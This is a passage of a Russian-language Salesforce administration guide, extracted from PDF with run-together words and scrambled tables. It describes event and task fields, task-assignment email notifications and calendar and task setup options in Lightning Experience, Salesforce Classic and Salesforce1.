другим пользователям при просмотре календаря

Личное

ответственного за событие. Сведения о личных событиях
могутбытьпросмотренывотчетах, результатахпоискаили
календарях других пользователей только при наличии
полномочия «Просмотрвсехданных» или «Изменениевсех
данных». Экспортированныефайлыданныхвсегдасодержат
личные события. События с приглашенными и события,
добавленные или измененные в календаре другого
пользователя, немогут быть личными. Личные событияне
могут быть связаны с другими записями.

Общедоступное
Прим.: До выпуска Summer'13 данное поле
называлось «Отображается на портале
самообслуживания».

Этотфлажокопределяет видимостьпрошедшего события
на портале самообслуживания.

Прим.: Начиная с выпуска Spring'12 портал
самообслуживания недоступен для новых
организаций. Текущие организации могут
использовать портал самообслуживания в обычном
режиме.

При использовании сообществ значение данного поля
определяетвидимостьсобытиядлявнешнихпользователей
в сообществах. If an external user owns the event, that user sees
the event in the community regardless of whether the event is
marked public.

Данное поле не отображается по умолчанию.
Администратор Salesforce может сделать его видимым.

Данное поле определяет запись для связанного объекта
(например, организация, возможностьилинастраиваемый

Связано с

объект). Это поле доступно, только если событие связано
с контактом, а не с интересом. Данная запись отображается
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ОписаниеПоле

пользователямтолькоприналичииполномочия «Чтение»
для типа записи, с которой связано событие.

При связывании события с объектом, отличным от
организации, система Salesforce использует порядок ниже
для определения организации события.

• If you relate the event to an opportunity, contract, or custom
entity that belongs to an account, Salesforce uses that object’s
account as the account for the event.

• If you relate the event to any other kind of object also relate
the event to a contact, Salesforce uses the primary contact’s
account as the account for the event.

• При пропуске поля «Связано с» система Salesforce не
связывает организацию с событием.

Дополнительное поле, позволяющее приглашенным на
событие вводить примечание при принятии или

Ответ

отклонении события. Данное поле не поддерживается
версией Personal Edition.

Данное поле позволяет связывать событие с 1 000
приглашенныхиресурсов. Припоискепользователейили

Выбрать приглашенных

ресурсов в списке доступных отображается до 300
результатов.

Раскрывающийся список. Данноеполе определяет способ
отображения события при просмотре календаря другим

Показывать время как

пользователем: «Занят», «Нет на рабочем месте» или
«Свободен».

Запланированная дата и время начала события. Данное
поле отображается только при использовании
многодневных событий.

Начало

Данное поле содержит тему события, например «Встреча».
Тема может быть указана самостоятельно или выбрана из
списка предопределенных тем.

Тема

Данное поле определяет время начала запланированного
события. Данноеполенеотображаетсяприиспользовании
многодневных событий.

Время

Данное поле определяет тип события, например,
сообщение эл. почты или встреча. Длина значений
раскрывающегося списка ограничена 40 символами.

Тип
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Помощь в управлении задачами для торговых представителей
Оптимизируйтепорядок, используемыйторговымипредставителямидля управлениярабочимипроцессами. Параметры,
поддерживаемые Lightning Experience, Salesforce Classic и приложением Salesforce1, различаются.

Рекомендации по настройке списка задач в Lightning Experience

Список задач позволяет пользователям настраивать способ и порядок отображения полей для отдельных задач
посредством компактных макетов задач. Однако даже при удалении полей из макета они остаются в списке задач, так
каконисодержат важнуюинформациюозадачах. Например, выудалитеполя статусаикрайнегосрокаиз компактного
макета. Флажок задачи и крайний срок появятся в задачах из списка. Остальные поля, отображаемые в списке,
соответствуют полям, добавленным в компактный макет.

Рекомендации по настройке списка задач в Lightning Experience

Чтобы настроить панель действий напротив списка задач, воспользуйтесь разделом «Действия Salesforce1 и Lightning
Experience» макета страницы задачи.

Рекомендации по электронным уведомлениям о назначении задач
При включении параметра «Разрешить пользователям контроль над уведомлениями о назначении задач» в
меню «Настройки действий» личные параметры пользователей дополняются флажком «Уведомлять меня по
электроннойпочте, есликто-тоназначаетмнезадачу». Параметрифлажоквключаютсяпоумолчанию. Активация
и выключение настройки влияет на пользователей по-разному. Прежде чем включить поддержку организации
Salesforce, предотвратите получение избыточных уведомлений по электронной почте путем отключения настройки.
Вы можете повторно активировать ее после включения поддержки.

Поля задач
Записи задач содержат стандартные поля для отслеживания и регистрации сведений о задачах.

Отслеживание сообщений эл. почты в Salesforce Classic

Если HTML-шаблоныэл. почтыиспользуютсяв Salesforce Classic, разрешите системе Salesforceотслеживаниеисходящих
HTML-сообщений эл. почты в качестве типа выполненной задачи. При выключении данного параметра система
Salesforce не сохраняет сведения об отслеживании сообщений эл. почты. Тем не менее, отчеты по отслеживанию
сообщений эл. почты сохраняются на вкладке «Отчеты». Чтобы разрешить отображение статистики сообщений эл.
почты, добавьте связанный список «Статус HTML-сообщения эл. почты» в соответствующие макеты страниц.

СМ. ТАКЖЕ:

Параметры настройки для задач

Рекомендации по настройке списка задач в Lightning Experience

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Список задач позволяет пользователям настраивать способ и порядок отображения
полей для отдельных задач посредством компактных макетов задач. Однако даже при
удалении полей из макета они остаются в списке задач, так как они содержат важную
информацию о задачах. Например, вы удалите поля статуса и крайнего срока из
компактного макета. Флажок задачи и крайний срок появятся в задачах из списка.
Остальные поля, отображаемые в списке, соответствуют полям, добавленным в
компактный макет.

2103

Помощь торговым представителям при управлении
встречами и задачами

Настройка и обслуживание инструментов продаж



Рекомендации по настройке списка задач в Lightning Experience

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы настроить панель действий напротив списка задач, воспользуйтесь разделом
«Действия Salesforce1 и Lightning Experience» макета страницы задачи.

СМ. ТАКЖЕ:

Рекомендациипо компоновщикуи временнойшкале действийв Lightning Experience

Рекомендации по электронным уведомлениям о назначении задач

ВЕРСИИ

Доступно в Salesforce
Classic в версиях: все
версии, кроме
Database.com Edition.

Привключениипараметра«Разрешитьпользователямконтрольнадуведомлениями
оназначениизадач» вменю «Настройкидействий» личныепараметрыпользователей
дополняются флажком «Уведомлять меня по электронной почте, если кто-то
назначает мне задачу». Параметр ифлажок включаются по умолчанию. Активация и
выключение настройки влияет на пользователей по-разному. Прежде чем включить
поддержку организации Salesforce, предотвратите получение избыточных уведомлений
поэлектроннойпочтепутемотключениянастройки. Выможетеповторноактивировать
ее после включения поддержки.

Табл. 4: Последствия включения и выключенияфункции в меню «Настройка»

Что происходит при отключении
функции

Что происходит при включении
функции

Тип пользователя

Флажок «При назначении
пользователю задачи» («Мои

Флажок «При назначении
пользователю задачи» («Мои

Пользователиприложения Salesforce1,
включая пользователей сообществ

параметры» > «Уведомления») не
отображается.

параметры» > «Уведомления»)
отображается.

Ни один пользователь не получит
уведомления по электронной почте,

В приложении Lightning Experience
флажок «Уведомлять меня по

Пользователи Lightning Experience

если другой пользователь назначит
задачу.

электронной почте, если кто-то
назначает мне задачу» не
отображается. Однако пользователи,
включившие этот параметр в
приложении Salesforce Classic, будут
получатьуведомленияпоэлектронной
почте.

ПользователиSalesforce Classic, включая
пользователей сообществ

• Флажки«Отправитьэлектронное
уведомление» и «Выбрать в

• Флажки«Отправитьэлектронное
уведомление» и «Выбрать в
качестве параметра по качестве параметра по
умолчанию»настраницесоздания
задачи не отображаются.

умолчанию»настраницесоздания
задачи отображаются, а
электронные уведомления• Флажок «Уведомлять меня по эл.

почте, есликто-тоназначаетмне отправляются пользователям в
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Что происходит при отключении
функции

Что происходит при включении
функции

Тип пользователя

зависимости от установленных
флажков.

задачу» на странице
«Напоминания и сигналы» в
личных параметрах пользователя • Флажок «Уведомлять меня по

электронной почте, если кто-тоотображаетсяи устанавливаетсяпо
умолчанию. назначает мне задачу» не

отображается.

Флажки «Отправить электронное
уведомление»и«Выбратьвкачестве

Пользователи партнерского портала • Флажки«Отправитьэлектронное
уведомление» и «Выбрать в

параметра по умолчанию» накачестве параметра по
странице создания задачиумолчанию»настраницесоздания

задачи не отображаются. отображаются, а электронные
уведомления отправляются

• Электронные уведомления
отправляются при каждом

пользователям в зависимости от
установленных флажков.

назначении задачи пользователю
(партнерские порталы не
поддерживают страницу
параметров для администраторов
или пользователей).

Электронные уведомления
отправляются назначенным за задачи

Пользователи, которым назначаются
задачи, созданные бизнес-правилами

• Флажок «Уведомить
назначенного» на странице
создания задачи не отображается. в соответствии с заданными

бизнес-правилами.
• Если администратор Salesforce

установил флажок «Уведомить
назначенного» до выпуска Winter
’15, те, кому назначены задачи, не
будут получать уведомления, если
они снимут флажок с данного
параметра.

Используйте API-интерфейс для
настройки значения

Пользователи, которым задачи
назначаются с помощью
API-интерфейса

• Если значение
triggerUserEmail  — true, то
приназначениизадачэлектронныеtriggerUserEmail. Значение по

умолчанию — false. уведомления отправляются всем
пользователям.• Если значение

triggerUserEmail является • Если значение
triggerUserEmail  — false, тоистинным, то уведомления

отправляютсясогласнопараметрам
отдельных пользователей.

при назначении задачи
электронные уведомления не
отправляются.• Если значение

triggerUserEmail является
ложным, то электронные
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Что происходит при отключении
функции

Что происходит при включении
функции

Тип пользователя

уведомления не отправляются при
назначении задачи.

Если значение заголовка запроса
поддерживает отправку электронных

Уведомления, отправляемые
посредством Apex, отправляются в
контексте заголовка запроса.

Пользователи, которым назначаются
задачи посредством Apex

уведомлений, топриназначениизадач
электронные уведомления
отправляются пользователям. Apex
выполняет последовательную
обработку заголовка — от первой
строки до последней. Если оператор
заголовка запроса определяет
необходимостьотправкиуведомления
о задаче, то электронное уведомление
отправляется независимо от
операторов, отображаемыхв заголовке
позже.

СМ. ТАКЖЕ:

Напоминания о действиях в Salesforce Classic

Индивидуальная настройка системы Salesforce

Поля задач
Записи задач содержат стандартные поля для отслеживания и регистрации сведений о задачах.

Поля задач в Lightning Experience

Lightning Experience использует стандартные поля для отслеживания и записи сведений о задачах.

Поля задач в Salesforce Classic

В Salesforce Classic для отслеживания и записи сведений о задачах доступны следующие стандартные поля.

Поля задач в Lightning Experience

ВЕРСИИ

Доступно в следующих
компонентах версии
Lightning Experience:
Developer Edition,
Enterprise Edition, Group
Edition, Performance
Edition, Professional Edition
и Unlimited Edition.

Lightning Experience использует стандартные поля для отслеживания и записи сведений
о задачах.

ОписаниеПоле

Данное поле определяет стандартную
валюту для всех полей валюты в задаче.
Стоимость отображается в валюте задачи,
а также преобразуется в личную валюту
пользователя. Данное поле доступно
только мультивалютным организациям.

Валюта действия
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ОписаниеПоле

Данное поле определяет назначенного ответственного за
задачу. По умолчанию задача назначается автору. Данное
поле не поддерживается версией Personal Edition.

Назначено

Данное поле определяет продолжительность вызова в
секундах.

Продолжительность вызова

Данное поле определяет код вызова, зарегистрированного
в системе Salesforce посредством системы компьютерной

Идентификатор объекта вызова

телефонииSalesforce. Какправило, данноеполезаполняется
кодом, хранящимся в системе телефонии. Данное поле
может содержать не более 255 символов.

Данное поле определяет результат выполненного вызова
(например, «мы перезвоним» или «неудачный вызов»).

Результат вызова

Данное поле может содержать не более 255 символов.
Значения данного раскрывающегося списка могут быть
настроены администратором Salesforce.

Данноеполеопределяеттипвызова: входящий, внутренний
или исходящий. Значения данного раскрывающегося
списка могут быть настроены администратором Salesforce.

Тип вызова

Данное поле содержит описание задачи. Ограничение на
объем данных составляет 32 КБ. Если в организации

Комментарии

включена функция проверки орфографии, пользователь
может проверить содержимое на наличие ошибок.

Данное поле определяет пользователя, создавшего задачу,
а также дату и время создания. Только для чтения.

Создано

Данное поле определяет подразделение, которому
принадлежит задача. Значение данного поля наследуется

Подразделение

от связанной записи организации, интереса, обращения
или настраиваемого объекта (при наличии). В противном
случае задача принадлежит глобальному подразделению.
Данное поле доступно только организациям,
использующим подразделения для сегментирования
данных.

Данное поле определяет дату, до которой задача должна
быть выполнена.

Крайний срок

Данноеполе содержитадрес эл. почтысвязанногоконтакта
или интереса. Данное поле заполняется значением из
связанной записи контакта или интереса.

Эл. почта

Данноеполе содержитимяпользователя, которыйизменял
задачупоследним, а такжедатуивремяизменения. Этополе
доступно только для чтения.

Последнее изменение сделано
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ОписаниеПоле

Данное поле содержит имя связанного контакта или
интереса. При использовании в организациифункции

Имя

«Общедоступныедействия» неповторяющаясязадачаможет
быть связана с 50 контактами. Данное поле отображается
пользователямтолькоприналичииполномочия «Чтение»
для контактов и интересов. Связывание контакта с задачей
может повлиять на организацию Salesforce, связанную с
задачей. См. поле «Связано с».

Данноеполесодержитномертелефонасвязанногоконтакта
или интереса. Данное поле заполняется значением из
связанной записи контакта или интереса.

Тел.

Данноеполеопределяетсрочность задачи (например, Low,
Medium или High). Значения данного раскрывающегося
списка могут быть настроены администратором Salesforce.

Приоритет

«Общедоступный»
Прим.: До выпуска Summer'13 данное поле
называлось «Отображается на портале
самообслуживания».

Выборданногополяопределяетдоступностьвыполненной
задачи на портале самообслуживания.

Прим.: Начиная с выпуска Spring'12 портал
самообслуживания недоступен для новых
организаций. Текущие организации могут
использовать портал самообслуживания в обычном
режиме.

При использовании сообществ значение данного поля
определяет доступность задачи внешним пользователям в
сообществах. Задача, принадлежащая внешнему
пользователю, виднаданномупользователювсообществе
независимо от того, является ли она общедоступной.

Данное поле не отображается по умолчанию.
Администратор Salesforce может сделать его видимым.

В данном поле указывается запись, связанная с задачей
(например, организация или возможность). Данное поле

Связано с

доступно только при связывании задачи с контактом, но
недоступно при связывании задачи с интересом. Данная
запись отображается пользователям только при наличии
полномочия «Чтение» для типа записи, с которой связана
задача.

При связывании задачи с объектом, отличным от
организации, система Salesforce использует порядок ниже
для определения организации задачи.
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ОписаниеПоле

• При связывании задачи с возможностью, контрактом
или настраиваемым объектом, принадлежащим
организации, системаSalesforceиспользуеторганизацию
данного объекта в качестве организации задачи.

• При связывании задачи с объектом другого типа и
контактом система Salesforce использует в качестве
организации задачиорганизациюосновного контакта.

• При пропуске поля «Связано с» система Salesforce не
связывает организацию с задачей.

Данное поле содержит текущий статус задачи (например,
Not Started или Completed). Значения данного

«Статус»

раскрывающегося списка могут быть настроены
администратором Salesforce.

Содержиттемузадачи (например, «Отправитьклиентусмету
по эл. почте»). Тема может быть указана самостоятельно

Тема

или выбрана из раскрывающегося списка
предопределенных тем.

Данное поле содержит имя поля, которое определяет
значения раскрывающегося списка, доступные для записи.

Тип записи задачи

Доступно в версиях Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition.

Данноеполеопределяет типзадачи (например, сообщение
эл. почты или встреча). Длина значений в поле
раскрывающегосясписканеможетпревышать 40 символов.

Тип

Поля задач в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в следующих
версиях: всех версиях,
кроме Database.com
Edition.

В Salesforce Classic для отслеживания и записи сведений о задачах доступны следующие
стандартные поля.

ОписаниеПоле

Данное поле определяет стандартную
валюту для всех полей валюты в задаче.
Стоимость отображается в валюте задачи,
а также преобразуется в личную валюту
пользователя. Данное поле доступно
только мультивалютным организациям.

Валюта действия

Данное поле определяет назначенного
ответственного за задачу. По умолчанию

Назначено

задачаназначается автору. Данноеполене
поддерживается версией Personal Edition.
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ОписаниеПоле

Данное поле определяет продолжительность вызова в
секундах.

Продолжительность вызова

Данное поле определяет код вызова, зарегистрированного
в системе Salesforce посредством системы компьютерной

Идентификатор объекта вызова

телефонииSalesforce. Какправило, данноеполезаполняется
кодом, хранящимся в системе телефонии. Данное поле
может содержать не более 255 символов.

Данное поле определяет результат выполненного вызова
(например, «мы перезвоним» или «неудачный вызов»).

Результат вызова

Данное поле может содержать не более 255 символов.
Значения данного раскрывающегося списка могут быть
настроены администратором Salesforce.

Данноеполеопределяеттипвызова: входящий, внутренний
или исходящий. Значения данного раскрывающегося
списка могут быть настроены администратором Salesforce.

Тип вызова

Данное поле содержит описание задачи. Ограничение на
объем данных составляет 32 КБ. Если в организации

Комментарии

включена функция проверки орфографии, пользователь
может проверить содержимое на наличие ошибок.

Данныйфлажокпозволяетнастраиватьпоследовательность
повторяющихся задач. Активация данного параметра

Создать последовательность задач

инициирует выключение поля «Крайний срок», так как
каждыйэкземплярзадачивпоследовательностииспользует
другой крайний срок.

Данное поле определяет пользователя, создавшего задачу,
а также дату и время создания. Только для чтения.

Создано

Данное поле определяет подразделение, которому
принадлежит задача. Значение данного поля наследуется

Подразделение

от связанной записи организации, интереса, обращения
или настраиваемого объекта (при наличии). В противном
случае задача принадлежит глобальному подразделению.
Данное поле доступно только организациям,
использующим подразделения для сегментирования
данных.

Данное поле определяет дату, до которой задача должна
быть выполнена.

Крайний срок

Данноеполе содержитадрес эл. почтысвязанногоконтакта
или интереса. Данное поле заполняется значением из
связанной записи контакта или интереса.

Эл. почта
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ОписаниеПоле

Данноеполе содержитимяпользователя, которыйизменял
задачупоследним, а такжедатуивремяизменения. Этополе
доступно только для чтения.

Последнее изменение сделано

Данное поле содержит имя связанного контакта или
интереса. При использовании в организациифункции

Имя

«Общедоступныедействия» неповторяющаясязадачаможет
быть связана с 50 контактами. Данное поле отображается
пользователямтолькоприналичииполномочия «Чтение»
для контактов и интересов. Связывание контакта с задачей
может повлиять на организацию Salesforce, связанную с
задачей. См. поле «Связано с».

Данноеполесодержитномертелефонасвязанногоконтакта
или интереса. Данное поле заполняется значением из
связанной записи контакта или интереса.

Тел.

Данноеполеопределяетсрочность задачи (например, Low,
Medium или High). Значения данного раскрывающегося
списка могут быть настроены администратором Salesforce.

Приоритет

«Общедоступный»
Прим.: До выпуска Summer'13 данное поле
называлось «Отображается на портале
самообслуживания».

Выборданногополяопределяетдоступностьвыполненной
задачи на портале самообслуживания.

Прим.: Начиная с выпуска Spring'12 портал
самообслуживания недоступен для новых
организаций. Текущие организации могут
использовать портал самообслуживания в обычном
режиме.

При использовании сообществ значение данного поля
определяет доступность задачи внешним пользователям в
сообществах. Задача, принадлежащая внешнему
пользователю, виднаданномупользователювсообществе
независимо от того, является ли она общедоступной.

Данное поле не отображается по умолчанию.
Администратор Salesforce может сделать его видимым.

В данном поле указывается запись, связанная с задачей
(например, организация или возможность). Данное поле

Связано с

доступно только при связывании задачи с контактом, но
недоступно при связывании задачи с интересом. Данная
запись отображается пользователям только при наличии
полномочия «Чтение» для типа записи, с которой связана
задача.
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ОписаниеПоле

При связывании задачи с объектом, отличным от
организации, система Salesforce использует порядок ниже
для определения организации задачи.

• При связывании задачи с возможностью, контрактом
или настраиваемым объектом, принадлежащим
организации, системаSalesforceиспользуеторганизацию
данного объекта в качестве организации задачи.

• При связывании задачи с объектом другого типа и
контактом система Salesforce использует в качестве
организации задачиорганизациюосновного контакта.

• При пропуске поля «Связано с» система Salesforce не
связывает организацию с задачей.

Данное поле содержит текущий статус задачи (например,
Not Started или Completed). Значения данного

«Статус»

раскрывающегося списка могут быть настроены
администратором Salesforce.

Содержиттемузадачи (например, «Отправитьклиентусмету
по эл. почте»). Тема может быть указана самостоятельно

Тема

или выбрана из раскрывающегося списка
предопределенных тем.

Данное поле содержит имя поля, которое определяет
значения раскрывающегося списка, доступные для записи.

Тип записи задачи

Доступно в версиях Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition.

Данноеполеопределяет типзадачи (например, сообщение
эл. почты или встреча). Длина значений в поле
раскрывающегосясписканеможетпревышать 40 символов.

Тип

Отслеживание сообщений эл. почты в Salesforce Classic

ВЕРСИИ

Доступно в Salesforce
Classic в версиях: все
версии, кроме
Database.com Edition.

Если HTML-шаблоны эл. почты используются в Salesforce Classic, разрешите системе
Salesforce отслеживание исходящих HTML-сообщений эл. почты в качестве типа
выполненнойзадачи. ПривыключенииданногопараметрасистемаSalesforceнесохраняет
сведенияоботслеживаниисообщенийэл. почты. Темнеменее, отчетыпоотслеживанию
сообщенийэл. почтысохраняютсяна вкладке «Отчеты». Чтобыразрешитьотображение
статистики сообщений эл. почты, добавьте связанный список «Статус HTML-сообщения
эл. почты» в соответствующие макеты страниц.

Настройка действий для торговых представителей
Оптимизируйте управление событиями, календарями и задачами для торговых представителей. Параметры настройки
различны для Lightning Experience, Salesforce Classic и Salesforce1.

2112

Помощь торговым представителям при управлении
встречами и задачами

Настройка и обслуживание инструментов продаж



Параметры настройки для одновременного управления событиями и задачами
Разрешите торговым представителям получать более точное представление об интересах, контактах, возможностях
иорганизациях. Воспользуйтесьобщимипараметрамидействий, которыепомогаютуправлять встречамиизадачами
и отслеживать их. Параметры, поддерживаемые Lightning Experience и Salesforce Classic, различаются.

Параметры настройки для событий и календарей
Оптимизируйте порядок, используемый торговыми представителями для управления встречами и функцией
планирования. Параметры, поддерживаемыеLightning Experience, Salesforce ClassicиприложениемSalesforce1, различаются.

Параметры настройки для задач
Оптимизируйтепорядок, используемыйторговымипредставителямидляуправлениярабочимипроцессами. Параметры,
поддерживаемые Lightning Experience, Salesforce Classic и приложением Salesforce1, различаются.

Параметры настройки для одновременного управления событиями и задачами
Разрешите торговым представителям получать более точное представление об интересах, контактах, возможностях и
организациях. Воспользуйтесь общими параметрами действий, которые помогают управлять встречами и задачами и
отслеживать их. Параметры, поддерживаемые Lightning Experience и Salesforce Classic, различаются.

Salesforce1Salesforce ClassicLightning
Experience

Настройка и
справка

ОписаниеПараметр или
функция

В меню
«Настройка»

Пользователи
смогут

Включить
напоминания о
действиях введите строку

«Параметры
устанавливать
индивидуальные
настройки для действий» в поле
напоминаний о «Быстрый
мероприятиях и
задачах.

поиск» и
установите
флажок
«Включить
напоминания о
действиях». См.
также раздел
Замечания по
настройке
напоминаний о
действиях в
Salesforce Classic на
странице 2089 и
Напоминания о
действиях в
Salesforce Classic на
странице 1500.
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Salesforce1Salesforce ClassicLightning
Experience

Настройка и
справка

ОписаниеПараметр или
функция

В меню
«Настройка»

Пользователи
смогут связывать

Разрешить
несколько

введите строкудо 50 контактов сконтактов
«Параметрысобытием или

задачей.
(функция
«Общедоступные
действия»)

действий» в поле
«Быстрый
поиск» и
установите
флажок
«Разрешить
пользователям
пакетное
связывание
контактов с
задачами и
событиями». См.
также разделы
Замечания по
функции
«Общедоступные
действия»
(несколько
контактов
действия) на
странице 2089 и
Рекомендации по
включению
функции
«Общедоступные
действия»
(несколько
контактов
действия) на
странице 2090.

СМ. ТАКЖЕ:

Параметры настройки для событий и календарей

Параметры настройки для задач

Конфигурация вкладок вызовов, задач и событий в компоновщике событий в системе Lightning Experience

Параметры настройки для событий и календарей
Оптимизируйтепорядок, используемыйторговымипредставителямидляуправлениявстречамиифункциейпланирования.
Параметры, поддерживаемые Lightning Experience, Salesforce Classic и приложением Salesforce1, различаются.
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Salesforce1Salesforce ClassicLightning
Experience

Настройка и
справка

ОписаниеПараметр или
функция

В меню
«Настройка»

Разрешите
пользователям

Разрешить
многодневные
события. введите строку

«Параметры
создание событий
длительностью
более одного дня
(24 часа).

действий» в поле
«Быстрый
поиск» и
установите
флажок
«Включить
многодневные
события».

В меню
«Настройка»

Разрешите
пользователям

Разрешить
повторяющиеся
события. введите строку

«Параметры
создание
повторяющихся
событий. При действий» в поле
выключении «Быстрый
данногопараметра поиск» и
пользователи установите
могут флажок
редактировать «Включить
интервалы создание
текущих повторяющихся

событий».повторяющихся
событий, но не
могут создавать
повторяющиеся
события.

В меню
«Настройка»

Разрешите
отображение

Разрешить
всплывающие

введите строкусведений оссылки в
«Интерфейссобытии при

наведении
календаре вкладки
«Начальная
страница».

пользователя» в
поле «Быстрый
поиск» и

указателямышина
нужное событие.

установите
флажок
«Включить
всплывающие
ссылки
начальной
страницы для
событий».
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Salesforce1Salesforce ClassicLightning
Experience

Настройка и
справка

ОписаниеПараметр или
функция

В меню
«Настройка»

Разрешите
пользователям

Разрешить
редактирование

введите строкуповторноекалендаря с
«Интерфейспланирование

событий в
помощью
перетаскивания. пользователя» в

поле «Быстрыйпредставлении
календаря поиск» и
«Просмотр дня» установите
или «Просмотр флажок
недели» путем
перетаскивания.

«Включить
редактирование
с помощью
перетаскивания
для
представлений
календаря».

В меню
«Настройка»

Разрешите
пользователям

Разрешить
пользователям

введите строкусоздание событийсоздание событий
«Интерфейспутем выбора

временной
областикалендаря.

путем выбора
областикалендаря. пользователя» в

поле «Быстрый
поиск» и
установите
флажок
«Включить
быстрое
создание
событий для
представлений
календаря».

В меню
«Настройка»

Разрешите
пользователям

Разрешить
планирование с

введите строкупланированиепомощью
«Интерфейссобытий путем

перетаскивания
перетаскивания
для списковых
представлений.

пользователя» в
поле «Быстрый
поиск» и

контакта или
интереса в
календарь (данная установите
возможность флажок
поддерживается «Разрешить
списковыми планирование с
представлениями помощью
контактов и перетаскивания
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Salesforce1Salesforce ClassicLightning
Experience

Настройка и
справка

ОписаниеПараметр или
функция

для списковых
представлений».

интересов). При
необходимости

См. также разделнастройте макет
«Общие сведениямини-страницы
о макетах страницдля области
и параметрахналожения,
безопасности
поля».

предназначенной
для ввода
сведений о
событии.

В меню
«Настройка»

Включить
отображение

Включить значок
календаря на
боковой панели. введите строку

«Интерфейс
ссылки ( ) на
последнее
просмотренное пользователя» в
представление поле «Быстрый
календаря над поиск» и
компонентом установите
боковой панели флажок
«Недавние
элементы».

«Включить
значок
календаря на
боковойпанели».

В меню
«Настройка»

Разрешите
отображение

Включить
всплывающие

введите строкусведений о задачессылки для списка
«Мои задачи». «Интерфейс

пользователя» в
во всплывающем
окне на вкладке
«Начальная поле «Быстрый
страница» при поиск» и
наведении установите
указателямышина
нужную задачу.

флажок
«Включить
всплывающие
ссылки для
списка "Мои
задачи"».

В меню
«Настройка»

Разрешите
экранное

Показать сведения
о событии в

введите строкуотображениепредставлении
«Параметрысведений о

событии в
многопользовательского
календаря. действий» в поле

«Быстрыйпредставлениях
календаря
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Salesforce1Salesforce ClassicLightning
Experience

Настройка и
справка

ОписаниеПараметр или
функция

«Просмотр дня»,
«Просмотр

поиск» и
установите

недели» и флажок
«Просмотр «Показать
месяца» для всех сведения о
пользователей. событии в
Включение представлении
данногопараметра многопользовательского

календаря».не инициирует
переопределение
общего доступа к
календарю.

См. раздел
«Создание и

Создайте
календари для

Создать
общедоступные

управлениеуправлениякалендари и
общедоступнымдействиямикалендари

ресурсов. календарем или
календарем

группы (например,
маркетинговые

ресурсов вмероприятия,
Salesforce Classic»
на странице 2091.

выпускипродукта,
занятия и отпуска)
или
общедоступными
ресурсами
(например,
конференц-зал).

См. раздел
«Настройка

Разрешите
отображение

Настроить
запросы на

приложения Cloudкнопки,проведение
Scheduler впозволяющейвстречи (Cloud

Scheduler). Salesforce Classic»
на странице 2092.

отправлять
клиентам запросы
на проведение
встреч, в
связанном списке
«Открытые
действия» для
контактов,
интересов и
организаций-лиц.

В меню
«Настройка»

Разрешите
отображение

Показывать
запросы на

введите строкувложеннойпроведение
«Параметрывкладки
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Salesforce1Salesforce ClassicLightning
Experience

Настройка и
справка

ОписаниеПараметр или
функция

«Запрошенные
встречи» в

встречи Cloud
Scheduler на

действий» в поле
«Быстрый

календаре навкладке поиск» и
вкладке«Начальная

страница».
установите
флажок
«Показывать

«Начальная
страница». Данная
вложеннаявкладка запрошенные
содержит встречи в
запрошенные разделе
пользователем "Календарь"
встречи, которые
не подтверждены.

вкладки
"Начальная
страница"».

В меню
«Настройка»

Включить
отображение

Показывать
настраиваемый

введите строкунастраиваемогологотип в
«Параметрылоготипа в

сообщениях эл.
запросах на
проведение действий» в поле

почты (например,встречи Cloud
Scheduler.

«Быстрый
поиск» изапросы на

проведение установите
встречи). Логотип флажок
отображается «Показывать
приглашенным настраиваемый
при отправке логотип в
приглашения на запросах на
событие или проведение

встречи».запроса на
проведение
встречи.

СМ. ТАКЖЕ:

Параметры настройки для одновременного управления событиями и задачами

Параметры настройки для задач

Конфигурация вкладок вызовов, задач и событий в компоновщике событий в системе Lightning Experience

Параметры настройки для задач
Оптимизируйтепорядок, используемыйторговымипредставителямидля управлениярабочимипроцессами. Параметры,
поддерживаемые Lightning Experience, Salesforce Classic и приложением Salesforce1, различаются.
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Salesforce1Salesforce ClassicLightning
Experience

Настройка и
справка

ОписаниеПараметр или
функция

В меню
«Настройка»

Отображение
параметра,

Разрешить
пользователям

введите строкупозволяющегоопределение
«Параметрыпользователю

определять
необходимости
получения действий» в поле

необходимостьэлектронных «Быстрый
полученияуведомлений о

назначенияхзадач.
поиск» и
установитеэлектронного

уведомления при флажок
назначении
задачи.

«Разрешить
пользователям
контроль над
уведомлениямио
назначении
задач». См. также
раздел Замечания
по
использованию
электронных
уведомлений о
назначениях задач
на странице 2104.

См. раздел
«Рекомендациипо

Настройте панель
действий,

Настроить
действия для
списка задач. настройке списка

задач в Lightning
отображаемую
напротив списка
задач. Experience» на

странице 2104.

В меню
«Настройка»

Разрешите
пользователям

Разрешить
повторяющиеся
задачи. введите строку

«Параметры
создание
повторяющихся
задач. При действий» в поле
выключении «Быстрый
данногопараметра поиск» и
пользователи установите
могут флажок
редактировать «Включить
интервалы создание
текущих повторяющихся

задач».повторяющихся
задач, но не могут
создавать
дополнительные
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Salesforce1Salesforce ClassicLightning
Experience

Настройка и
справка

ОписаниеПараметр или
функция

повторяющиеся
задачи.

В меню
«Настройка»

Разрешите
пользователям

Разрешить
пользователям

введите строкупакетноеназначениекопий
задачи. «Параметры

действий» в поле
назначение
независимых
копий новой
задачи.

«Быстрый
поиск» и
установите
флажок
«Включить
задачи группы».

В меню
«Настройка»

Разрешите
отображение

Показывать
упрощенную

введите строкустраницы новойстраницу новой
«Параметрызадачи, которая

сначала содержит
ключевые поля.

задачи в
приложении
Salesforce1.

действий» в поле
«Быстрый
поиск» и
установите
флажок
«Показывать
упрощенную
форму новой
задачи в
приложении
Salesforce1».
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Salesforce1Salesforce ClassicLightning
Experience

Настройка и
справка

ОписаниеПараметр или
функция

В меню
«Настройка»

Разрешите
системе Salesforce

Отслеживать и
отображать

введите строкуотслеживаниестатистику
«Параметрыисходящих

HTML-сообщений
сообщений эл.
почты. действий» в поле

«Быстрыйэл. почты при
использовании поиск» и
HTML-шаблонов
эл. почты.

установите
флажок
«Включить
функцию
отслеживания
сообщений эл.
почты». См. также
раздел
Отслеживание
сообщений эл.
почты в Salesforce
Classicна странице
2112.

СМ. ТАКЖЕ:

Параметры настройки для одновременного управления событиями и задачами

Параметры настройки для событий и календарей

Конфигурация вкладок вызовов, задач и событий в компоновщике событий в системе Lightning Experience
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Повышение производительности

Настройка примечаний

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
